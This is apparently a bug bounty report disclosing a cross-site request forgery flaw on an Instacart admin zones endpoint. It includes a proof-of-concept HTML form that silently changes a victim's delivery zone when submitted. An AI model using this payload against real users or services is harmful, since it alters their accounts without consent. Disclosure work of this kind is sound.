Cross-Site Request Forgery (CSRF)

How it was found

Hello,

i found Cross-Site Request Forgery (CSRF) that can change any user ZONE

POC:

<html>
  <body>
    <form action="https://admin.instacart.com/api/v2/zones" method="POST">
      <input type="hidden" name="zip" value="10001" />
      <input type="hidden" name="override" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

put Zone you want send the request to any user and you will change his Zone

Please Watch My POC I Attached For More Details Thanks